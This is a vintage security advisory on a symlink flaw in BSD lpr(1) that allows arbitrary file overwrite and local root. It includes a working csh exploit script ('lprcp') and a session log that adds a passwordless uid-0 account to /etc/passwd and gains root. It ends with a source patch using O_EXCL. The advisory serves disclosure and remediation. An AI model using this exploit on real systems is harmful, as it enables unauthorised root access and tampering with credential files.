COMMAND
lpr(1)
SYSTEMS AFFECTED
SunOS 4.1.1 or earlier, BSD 4.3, BSD NET/2
Derived Systems, A/UX 2.0.1, most sytems supporting the BSD
LP subsystem.
PROBLEM
lpr(1) can be used to overwrite or create (and become owner of)
any file on the system. lpr -s allows users to create symbolic
links in lpd's spool directory (typically /var/spool/lpd). After
1000 invocations of lpr, lpr will reuse the filename in the spool
directory, and follow the link previously installed. It will thus
overwrite/create any file that this link points too. Any user
with access to lpr(1) can alter system file and thus become root.
This example demonstrates how to become root on most affected
machines by modifying /etc/passwd and /etc/group. Please do
not do this unless you have permission.
Create the following script, 'lprcp':
#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
if ($#argv != 2) then
echo Usage: lprcp from-file to-file
exit 1
endif
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$ # to where we really want
@ s = 0
while ( $s != 999) # loop 999 times
lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
@ s++
if ( $s % 10 == 0 ) echo -n .
end
lpr $1 # incoming file
# user becomes owner
rm -f /tmp/.tmp.$$
exit 0
--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
Make copies of /etc/passwd and /etc/group, and modify them:
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % cp /etc/passwd /tmp/passwd
> % ex /tmp/passwd
/tmp/passwd: unmodified: line 42
> :a
> 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
> .
> :wq
/tmp/passwd: 43 lines, 2188 characters.
> % cp /etc/group /tmp
> % ex /tmp/group
/tmp/group: unmodified: line 49
> :/wheel
wheel:*:0:root,operator
> :c
> wheel:*:0:root,operator,8lgm
> .
> :wq
/tmp/group: 49 lines, 944 characters.
Install our new files:
> % ./lprcp /tmp/group /etc/group
................................................................
...................................
lpr: cannot rename /var/spool/lpd/cfA060testnode
> % ./lprcp /tmp/passwd /etc/passwd
.................................................................
..................................
lpr: cannot rename /var/spool/lpd/cfA061testnode
Check it worked:
> % ls -l /etc/passwd /etc/group
-rw-r--r-- 1 8lgm 944 Mar 3 19:56 /etc/group
-rw-r--r-- 1 8lgm 2188 Mar 3 19:59 /etc/passwd
> % head -1 /etc/group
wheel:*:0:root,operator,8lgm
> % grep '^8lgmroot' /etc/passwd
8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
Become root and tidy up:
> % su 8lgmroot
# chown root /etc/passwd /etc/group
# rm -f /tmp/passwd /tmp/group
#
> % su 8lgmroot
# chown root /etc/passwd /etc/group
# rm -f /tmp/passwd /tmp/group
#
SOLUTION
Contact you vendor for a fix. Some vendors supply both the BSD
and SYS V LP subsystems, in which case you can disable BSD
lpr/lpd and use SYS V lp/lpsched instead. If non of the above are
practical, you are advised to restrict access (via groups) to
lpr. If lpr is mode 6755 on your system, you can still do this
using a directory and a symbolic link.
In the meantime, apply the following patch, derived from BSD NET/2
source, which will correct the flaw on most affected systems:
--------------------------- cut here ----------------------------
*** usr/src/usr.sbin/lpr/lpr/lpr.c.orig
--- usr/src/usr.sbin/lpr/lpr/lpr.c
***************
*** 476,496 ****
/*
* Create a new file in the spool directory.
*/
nfile(n)
char *n;
{
register f;
int oldumask = umask(0); /* should block signals */
! f = creat(n, FILMOD);
(void) umask(oldumask);
if (f<0) {
printf("%s: cannot create %s\n", name, n);
cleanup();
}
if (fchown(f, userid, -1)<0) {
printf("%s: cannot chown %s\n", name, n);
cleanup();
}
if (++n[inchar] > 'z') {
--- 476,501 ----
/*
* Create a new file in the spool directory.
*/
nfile(n)
char *n;
{
register f;
int oldumask = umask(0); /* should block signals */
! /*
! * Changed creat() to open() to correct
! * a security flaw involving symlinks
! */
! /* f = creat(n, FILMOD); */
! f = open(n, O_WRONLY|O_EXCL|O_CREAT, FILMOD);
(void) umask(oldumask);
if (f < 0) {
printf("%s: cannot create %s\n", name, n);
cleanup();
}
if (fchown(f, userid, -1)<0) {
printf("%s: cannot chown %s\n", name, n);
cleanup();
}
if (++n[inchar] > 'z') {